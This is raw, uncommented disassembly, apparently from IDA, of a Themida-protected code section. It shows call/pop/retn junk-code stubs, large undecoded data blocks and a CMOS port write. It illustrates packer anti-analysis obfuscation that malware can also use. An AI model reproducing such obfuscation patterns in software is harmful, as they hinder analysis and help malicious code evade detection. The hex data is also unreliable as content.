loc_58C044: ; CODE XREF: Themida_:loc_58C02Ej
test bl, 4
jz loc_58C0B3
push 0
push ebx
call sub_58C058
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C058 proc near ; CODE XREF: Themida_:0058C050p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_58C058 endp
; ---------------------------------------------------------------------------
dd 191B8763h, 6E2C83F4h, 1C1DB58Bh, 95FF0610h, 6100DC9h
dd 21CD9D89h, 81660610h, 909AF8E7h, 9050F18Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 67C35343h, 0B4B564B3h
dd 0A5B58BA4h
; ---------------------------------------------------------------------------
adc [eax], dl
push es
loc_58C0B3: ; CODE XREF: Themida_:0058C047j
jmp loc_58C49B
; ---------------------------------------------------------------------------
mov esi, [ebp+6102EC5h]
mov al, 0
push 0
push edx
call sub_58C0CB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C0CB proc near ; CODE XREF: Themida_:0058C0C3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_58C0CB endp
; ---------------------------------------------------------------------------
db 6Dh
; ---------------------------------------------------------------------------
jmp loc_58C0F5
; ---------------------------------------------------------------------------
db 3, 28h, 0BCh
dd 0EF6F762Ah, 0A3E041BFh, 7A370505h, 0FCFCE970h
db 1
; ---------------------------------------------------------------------------
loc_58C0F5: ; CODE XREF: Themida_:0058C0DCj
out 70h, al ; CMOS Memory:
; used by real-time clock
push 0
push ecx
call sub_58C102
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C102 proc near ; CODE XREF: Themida_:0058C0FAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_58C102 endp
; ---------------------------------------------------------------------------
dw 0DB5Bh
dd 6BE1EA5Bh, 998D8902h, 0E8061011h, 11h, 8ECC4560h, 6E4890A7h
dd 3D968738h, 0FDCBA7FFh, 19BD290Dh, 5F061021h, 6A71E4h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0C3E708C3h, 29515E0Eh, 1020B9BDh, 0B60F5F06h, 57006AD8h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0A9ECDA1Eh, 16F1BD8Bh, 6BA0610h, 89000000h, 10170D85h
dd 66C38B06h, 45FCCE81h, 6604E8C1h, 0EA5CF681h, 6AE2F766h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0A438C350h, 6F49F3B3h, 0F28BC0B8h, 0F681D82Bh
dd 6957DF6Fh, 6A935093h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0B6E5C351h, 0FFF98B3Fh
dd 100055B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 2F35EBC4h, 31C995FFh, 0BD8B0610h
dd 6101DB1h, 0BD8B00B0h, 6102EEDh, 6A70E6h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 3D263BC3h
dd 0A4411B4Fh, 0E856D4EAh, 0Ah, 63D5B97Ch, 76FF8613h, 0BD8B7EEAh
dd 6101311h, 0F71E45Fh, 613CF7BFh, 21D830Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 9FBD6CC3h, 8166045Ah, 0FEB78EFh, 820FD8B6h, 0Ch, 6830Fh
dd 0B58B0000h, 61016F1h, 6BAh, 0CF816600h, 0B58B7208h
dd 6100A01h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0E85647C3h, 13h, 0F4AB8C49h, 77474EA5h
dd 0DA5C65B5h, 2CE64552h, 8B315863h, 100225BDh, 895F5F06h
dd 101C458Dh, 4E8C106h, 66FAB70Fh, 8A0FE2F7h, 6, 1671B52Bh
dd 0D7810610h, 75556029h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FE49EC3h, 686h, 0FDB52900h
dd 5806100Eh, 5860Fh, 0ECBF0000h, 2B697C78h, 34880FD8h
dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 9E17C350h, 0F27B4742h, 37036C3Eh
dd 21B1BD03h, 7B90610h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 126EC351h
dd 89C255A9h, 10284585h, 0C18306h, 111B529h, 0D93B0610h
dd 0CD860Fh, 8B520000h, 1011BDB5h, 8C665F06h, 0A1BD8BD9h
dd 0F6061010h, 840F04C1h, 8Ah, 33358D89h, 95FF0610h, 6100DC9h
dd 8E9h, 0B9FA5100h, 4AE348EBh, 6A5B67h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F10CA1C3h
dd 0EB38C293h, 2A81BD89h, 0C32B0610h, 8F82EF81h, 343D3133h
dd 0F000008h, 3586h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 89CAF31Eh, 1012D9B5h
dd 35E906h, 9D890000h, 6102AF1h, 0D618531h, 0C08B0610h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8BC35343h
dd 82D91466h, 9B58B4Fh
; ---------------------------------------------------------------------------
adc dl, [eax]
push es
loc_58C49B: ; CODE XREF: Themida_:loc_58C0B3j
mov eax, ebx
mov ebx, eax
push 0
push eax
call sub_58C4AA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C4AA proc near ; CODE XREF: Themida_:0058C4A2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_58C4AA endp
; ---------------------------------------------------------------------------
dw 0C1F6h
dd 563C150Ah, 0C770992Dh, 102AB185h, 73EFB306h, 0B58B5072h
dd 6102229h, 6AC08B5Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 43C5C351h, 55684177h
dd 9D09C03Bh, 6102229h, 55BD81h, 7D00610h, 850F0000h, 28h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D1C35343h
dd 1659BD09h, 85FF0610h, 6100055h, 55B5FFh, 8D290610h
dd 61020CDh, 31C995FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 2EADCBC3h, 11B52BB3h
dd 8B061013h, 101561B5h, 81669006h, 6A99AEF6h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0BD8DC355h, 564A3036h, 0DACDAB13h, 7E9F5h, 0E1980000h
dd 71A91689h, 666060B4h, 66D6F2BBh, 0FA606BAh, 8Fh, 0B5316100h
dd 61007C5h, 1AC58D8Bh, 0AE90610h, 5A000000h, 0EA0EB722h
dd 0E913FCA6h, 8589614Dh, 61012A9h, 15E5BD8Bh, 0B5890610h
dd 6102F8Dh, 75BD8952h, 5F06101Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0FFC35545h, 0BD31FD06h, 610084Dh
dd 9B3BF66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 61C35646h, 4BB4B241h, 6A367Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3FA7F3C3h
dd 0E84E223Bh, 0Fh, 1244CE63h, 0F1923137h, 0DEE6C739h
dd 66CE30FAh, 0F9BD4EBEh, 0FA8B665Fh, 22E9FE8Bh, 89FFFFF8h
dd 1001E9BDh
; ---------------------------------------------------------------------------
push es
loc_58C689: ; CODE XREF: Themida_:0058BEA0j
mov eax, ecx
jmp short loc_58C691
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
loc_58C691: ; CODE XREF: Themida_:0058C68Bj
push ebx
pop esi
mov esi, ebx
jmp loc_58C6A9
; ---------------------------------------------------------------------------
dw 0B47Dh
dd 69B703ECh, 0A69D586Fh, 87FEA92Dh
db 8Ch
; ---------------------------------------------------------------------------
loc_58C6A9: ; CODE XREF: Themida_:0058C695j
lea eax, [ebp+61013B9h]
push 0
push esi
call sub_58C6BA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C6BA proc near ; CODE XREF: Themida_:0058C6B2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58C6BA endp
; ---------------------------------------------------------------------------
dw 7C26h
; ---------------------------------------------------------------------------
mov al, ds:2B5C64ACh
jg $+6
nop
jmp loc_58C6E5
; ---------------------------------------------------------------------------
db 6Ah, 4Ah, 0F8h
dd 64B4F56Ch
; ---------------------------------------------------------------------------
movsb
loc_58C6E5: ; CODE XREF: Themida_:0058C6D8j
push eax
nop
or [ebp+6101A9Dh], ebx
push 0
mov edi, 41A71105h
push 0
push 0
push edx
call sub_58C701
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C701 proc near ; CODE XREF: Themida_:0058C6F9p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58C701 endp
; ---------------------------------------------------------------------------
scasd
push 0FFFFFFFEh
retn 0F035h
; ---------------------------------------------------------------------------
mov word ptr [eax], fs
retf 8174h
; ---------------------------------------------------------------------------
dd 94EA5DEFh, 0BD858927h, 8D061006h, 1413D885h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 24F852h, 0EDBEF746h, 237DBD0Ch, 101D75BDh, 5C08306h
dd 8E9h, 64512500h, 0EA3FD063h, 8B66507Dh, 240489F8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 21C35747h, 0BF9B9739h
dd 8D95895Dh, 6A06101Fh, 6A006A00h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 81DEC353h
dd 32A18529h, 95FF0610h, 6101D19h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0FDC35040h, 0EE9D5h, 0C7A10000h
dd 76FCDB5Eh, 304CD9h, 0DDA731D2h, 0AFD89D8Dh, 95890613h
dd 6102F91h, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 84C227C3h, 0ABC5A7A9h, 6860FAFh
dd 81000000h, 1F857ACFh, 1985FF27h, 3061014h, 101281BDh
dd 5DBD8B06h, 0E9061029h, 798h, 0E8h, 0ED815D00h, 61413E2h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BBC35343h
dd 5267489Fh, 6448D630h, 0C6BE66E8h, 55BD812Dh, 0D0061000h
dd 0F000007h, 14686h, 9D8BF900h, 6100BA5h, 4D7AEF81h, 0E381271Bh
dd 100h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0EEC35040h, 0CF11F9A9h, 7187E9FDh, 0D9BD8B2Ah
dd 0B061013h, 94850FDBh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A658C352h
dd 66FA8B32h, 0BD83F78Bh, 6141222h, 11840F00h, 0F000000h
dd 288h, 0E9FB8B00h, 67h, 0A85FBE66h, 122285C7h, 10614h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 8B2E32C3h, 950160F3h, 610003Dh, 1D159589h
dd 0E9610610h, 27h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh
dd 0FDBF7BF2h, 0C7786099h, 14122285h, 6, 44DF8100h, 8D689EBAh
dd 100BA59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 831950B6h, 0BD8960C3h, 6102AF9h
dd 6E1BD8Bh, 81610610h, 0FFFEFF23h, 50006AFFh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 29958903h
dd 6606101Fh, 0B58BDB8Ch, 61030E5h, 0F04C3F6h, 0A084h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0EC218E7Eh, 8B2C20DEh, 102D01B5h, 0C995FF06h
dd 6A06100Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 3BB9C352h, 0FB78C1D4h, 0FCAB0C93h
dd 2FD1B501h, 0E9900610h, 7, 0B1C8805Dh, 5003276Eh, 12E890h
dd 45870000h, 13ADEE19h, 2717EC28h, 0F8B42962h, 0D3B952A6h
dd 11E9h, 3F865300h, 0EE9E0B00h, 8A440664h, 0D017DA9h
dd 0E95F4D7Eh, 5, 63CAF960h, 32FE91Eh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0D9D2B8C3h, 0F301120h, 888h, 28F0F00h, 60000000h, 24BE6661h
dd 6000B0D3h, 2418D31h, 11E90610h, 2E000000h, 0EDFDEB2Ch
dd 0E1831778h, 0B5723902h, 0ED54F972h, 8970E661h, 100125B5h
dd 8DB58B06h, 0E406100Fh, 57006A71h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 96026C4Fh
dd 8925F682h, 102885BDh, 0D8B60F06h, 6BAF9h, 8B520000h
dd 1006FDB5h, 0C38B5F06h, 7F1BD33h, 0BD890610h, 6100525h
dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0E0EFC353h, 0FA6E9A01h, 65958920h
dd 6606100Dh, 2BF5E2F7h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0DA97A265h, 50F08B93h
dd 840Fh, 0F8930000h, 55B5FFh, 0BD8B0610h, 6100125h, 0C9BD8Bh
dd 95FF0610h, 61031C9h, 14E8h, 7D119700h, 43AE5C79h, 0B12AE9D6h
dd 39A23F58h, 7F5A10D2h, 7BE662Dh, 0B05EAAh, 1311B58Bh
dd 70E60610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0C2C35040h, 8F0FCC2Bh, 6, 21CD9589h, 71E40610h
dd 0D2941DBEh, 41953105h, 3C06102Fh, 0AA830F61h, 81000001h
dd 640766EEh, 0D8B60F70h, 21E5B58Bh, 6BA0610h, 29000000h
dd 101FC185h, 49B58B06h, 8B061005h, 50006AC3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 302C6DC0h
dd 0DDB38E20h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0DB8C352h, 6645D4AFh
dd 69D6E681h, 81E2F766h, 0B4BB8ECEh, 60D82B0Bh, 8D00D081h
dd 0FE8A5A3Eh, 89536061h, 101E81B5h, 0F98B5E06h, 0BD8B5861h
dd 6103189h, 880FD82Bh, 10Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 24C35040h, 0D7F128DEh, 0BB60B408h
dd 282E125Ch, 0B488BA66h, 118C0F61h, 0E9000000h, 0Ch, 0D2A55052h
dd 317C4DA4h, 378B929h, 7B9h, 41BD2B00h, 83061031h, 6A00C1h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0A9A7CDC3h, 13335250h, 8A0F9196h, 0
; ---------------------------------------------------------------------------
mov esi, 511526h
cmp ebx, ecx
jbe loc_58CDB9
push 0
push edx
call sub_58CD40
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CD40 proc near ; CODE XREF: Themida_:0058CD38p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_58CD40 endp
; ---------------------------------------------------------------------------
dd 309640FCh, 2360E8EAh, 1010B19Dh, 0BD8D8B06h, 61061011h
dd 0FD98C66h, 860FF1BFh, 6, 317DB58Bh, 0C1F60610h, 38840F04h
dd 0F000000h, 95FFF6B7h, 6100DC9h, 8BF55BF8h, 100075BDh
dd 3DC32B06h, 834h, 19860Fh, 29600000h, 103081BDh, 0B1B26006h
dd 0D38166h, 0E96161E4h, 5, 8BF9B70Fh
db 0C0h
; ---------------------------------------------------------------------------
loc_58CDB9: ; CODE XREF: Themida_:0058CD2Fj
mov eax, ebx
mov ebx, eax
mov [ebp+61021C1h], edi
mov dword ptr [ebp+6102875h], 18D6D51Bh
push 0
push edx
call sub_58CDD8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CDD8 proc near ; CODE XREF: Themida_:0058CDD0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58CDD8 endp
; ---------------------------------------------------------------------------
adc [eax-7E62760Fh], ecx
sbb al, 10h
push es
mov eax, eax
push 0
push edi
call sub_58CDFE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CDFE proc near ; CODE XREF: Themida_:0058CDF6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_58CDFE endp
; ---------------------------------------------------------------------------
dw 2BF3h
dd 0C7F511DFh, 0B58BD052h, 6103055h, 55BD81h, 7D00610h
dd 850F0000h, 28h, 66C4BBBEh, 5585FF7Ch, 56061000h, 0FE8h
dd 0DC0100h, 0AF682BCEh, 0F8BE79h, 5FA454CAh, 2269B52Bh
dd 5F5F0610h, 55B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0C1B7CBC3h, 0F160879h
dd 38Eh, 0F08B6600h, 2A018D89h, 95FF0610h, 61031C9h, 799B58Bh
dd 6A900610h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 0C897C357h, 8D8B603Eh, 6103071h
dd 8459D89h, 60600610h, 14E961h, 3CB30000h, 10FF90D4h
dd 4399CC1h, 150533ECh, 76DC6F6Dh, 61F810F9h, 6890F61h
dd 89000000h, 10020DBDh, 95958906h, 6A06101Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 81BAC352h, 0E94E2FFEh, 8D89ACB2h, 6100FE5h, 2151BD23h
dd 6E90610h, 36000000h, 8D0703FCh, 57006A65h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2460D564h
dd 238A0Fh, 8B600000h, 1030EDBDh, 12E906h, 8DA60000h, 0FFB9F68Eh
dd 0F1FBA6C3h, 3D0AF920h, 0E49373CBh, 61CBB70Fh, 51006AFCh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0F88B3FBFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0DAC35141h, 7436998Bh, 514F20B7h, 30E1B58Bh, 0E95E0610h
dd 0FFFFF884h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 2DC35242h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 2A9E2FC3h, 0EE264AA0h
dd 0B589B0BCh, 6100EEDh, 4EBh, 95890000h, 6101149h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B5C35747h, 337646D1h
dd 0B9858D77h, 0F061013h, 884h, 8C0F5700h, 0
; ---------------------------------------------------------------------------
pop edi
push eax
mov [esp], eax
push 0
push eax
call sub_58D05C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D05C proc near ; CODE XREF: Themida_:0058D054p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_58D05C endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 64h
dec ebp
mov esp, 89238199h
test [ecx+29061005h], esi
test edx, ebp
adc [eax], edx
push es
push 0
push 0
push edi
call sub_58D08C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D08C proc near ; CODE XREF: Themida_:0058D084p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_58D08C endp
; ---------------------------------------------------------------------------
dd 7F712244h, 535E4FBAh, 0DCBE6688h, 19B501EFh, 6A061016h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 90C68246h, 84E4B291h, 20959D01h, 0BD310610h
dd 610190Dh, 1D81858Dh, 0C0830614h, 905F5705h, 50F98B66h
dd 4A7BE60h, 8B667372h, 6A9061DAh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 1500C350h
dd 0C96785FAh, 8E9h, 63490F00h, 417674E7h, 6A006AF9h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 4D75C356h, 3475BF43h, 6880FD5h, 29000000h, 10158195h
dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0BB3CC355h, 2282CABEh, 8B2A04CFh
dd 1995FFF3h, 6A06101Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 76E4C351h, 26B26B71h
dd 0D89D8D46h, 890613AFh, 1016CD8Dh, 6AD3FF06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 3699C356h, 4F20B774h, 0BD8B43E4h, 61032C5h, 141985FFh
dd 0BD330610h, 61014B1h, 8B2E9h, 0E800h, 815D0000h, 141D8BEDh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 306410DCh, 0BF662688h, 0BD81BB67h, 6100055h
dd 7D0h, 19D860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0AB4FCDC3h, 0BD8B95E9h
dd 6101A95h, 1685BD2Bh, 95310610h, 610327Dh, 419D8Bh, 6A0610h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 96A58CC3h, 0E999A103h, 10h, 238AE67Bh, 35B99C41h, 0E5A2B325h
dd 3AEE7C74h, 100E381h, 0F560000h, 587h, 0C002BF00h, 0B5E3D9Ah
dd 0B4850FDBh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0F456C357h, 1B36D6A6h
dd 13E8h, 95207D00h, 0C6C35FABh, 0B0EED2B7h, 20D48C44h
dd 0F96A1082h, 5E9h, 28B63400h, 835E2B19h, 141BA3BDh, 840F0006h
dd 31h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
dd 75C35747h, 960AE95h, 100DC5BDh, 0F9B70F06h, 5EE961h
dd 0BF0F0000h, 0A385C7F0h, 106141Bh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 0BDEC350h, 536221ACh, 2BE9h, 0C7F78B00h, 141BA385h
dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 5F504C14h, 419D8Dh, 0E6810610h, 4FA655BFh
dd 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 0D2368FC3h, 0D1BD8B57h, 66061005h
dd 0B58BDB8Ch, 610108Dh, 0F04C3F6h, 8284h, 14E900h, 0E4370000h
dd 0DC3315EBh, 0A5D28C1Ah, 4E2AC4DCh, 22E5087Eh, 8A0F3048h
dd 0
dd 0DC995FFh, 11E80610h, 0E2000000h, 0B5FFDB6Fh, 0B469DADDh
dd 0AC9ACFB8h, 9DB80286h, 0E853905Fh, 0Fh, 0F1C6E5A4h
dd 0A387B05h, 61A06736h, 668A6CF7h, 5E5FF88Bh, 65B96050h
dd 610BA188h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0D9BD8B1Ch, 0E906102Eh, 3D0h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 15C35747h, 0CD4D0743h
dd 0E0D719BCh, 56BE6699h, 0D3B86083h, 233FBC72h, 1008E18Dh
dd 0B06106h, 32CF8166h, 29BD8B0Fh, 0E6061023h, 50006A70h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 897754BBh, 101C15BDh, 0F7816606h, 71E459BBh, 1DA1BD8Bh
dd 0B60F0610h, 69BD8BD8h, 0BA06101Ah, 6, 13E9h, 0B7373800h
dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h, 6AC38Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 4059A4C3h, 607AC70Dh, 0E9600D13h, 0Dh, 568DFEEFh, 461323FCh
dd 616078D0h, 23BE6637h, 0E8C161C8h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 8A452EC7h
dd 8BE2F766h, 1005F9B5h, 0FB8B6606h, 11E8D82Bh, 0A0000000h
dd 7E045FCh, 8A8BBDC0h, 47405356h, 4A9B64C9h, 6830Fh, 0B5010000h
dd 610085Dh, 7EBF505Eh, 8911EBAAh, 6A241Ch, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 539B72C3h
dd 7599D09h, 0FF5F0610h, 100055B5h, 25B58B06h, 0FF06102Fh
dd 1031C995h, 6DB58906h, 0B006100Dh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 816615E0h
dd 0E62CF3EFh, 0BE71E470h, 36056A57h, 2785B589h, 613C0610h
dd 222830Fh, 0BF660000h, 0B60FAF5Dh, 0C5B58BD8h, 0BA061031h
dd 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
dd 2C35040h, 0F6B70F93h, 956C38Bh, 101CB19Dh, 8B665E06h
dd 4E8C1FEh, 0CE9h, 10AA9900h, 118BD202h, 98F8E689h, 0E2F76647h
dd 11E8h, 3CFEBC00h, 3C6C7171h, 6DCE6A5Fh, 13EF131Ah, 2B5F4B92h
dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0F9BF0F4Ah, 57006A58h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 35F07499h
dd 0C2760726h, 8B666C7Dh, 0FD82BF1h, 16388h, 4820F00h
dd 66000000h, 0B92B9BBFh, 7, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0F5C35343h, 0BD8B98E8h, 610076Dh
dd 6A00C183h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 58B3C355h, 0BB279621h, 0D93BEFBBh
dd 102860Fh, 0B52B0000h, 6101BC1h, 6AD98C66h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 4AB2C352h, 9589CD50h, 6101A91h, 0F04C1F6h, 0A884h, 8D296000h
dd 6101A5Dh, 0C995FF61h, 5B06100Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0BAC35343h, 0BE0E66D5h, 27A5546h
dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0F2D0E0C3h, 9E8F2B5h, 1E000000h, 352F2BA3h
dd 7E9DE03Bh, 81BD8960h, 8B06102Ah, 100125B5h, 3D5E6106h
dd 834h, 2B860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 555361C3h, 29E9BFF4h
dd 29000000h, 102F718Dh, 6AC08B06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0F2C9C351h
dd 3FD16C54h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 92C35646h, 723DBB51h, 0C7F219F1h, 100BA585h
dd 318BF106h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 56F98B4Fh, 619D8960h, 89061023h
dd 1016C18Dh, 8B5F6106h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 0E0D719BCh, 55BD81h, 7D00610h
dd 850F0000h, 48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0A2C35545h, 0B021EA1Bh, 0AE831h, 0CCC80000h
dd 52488483h, 0A8ABB0DBh, 6ED8D781h, 2B5E3560h, 101EE9B5h
dd 5585FF06h, 0BE061000h, 25C58FA4h, 55B5FFh, 81660610h
dd 0FF1430EFh, 1031C995h, 57006A06h, 3E8h, 0C35F2000h
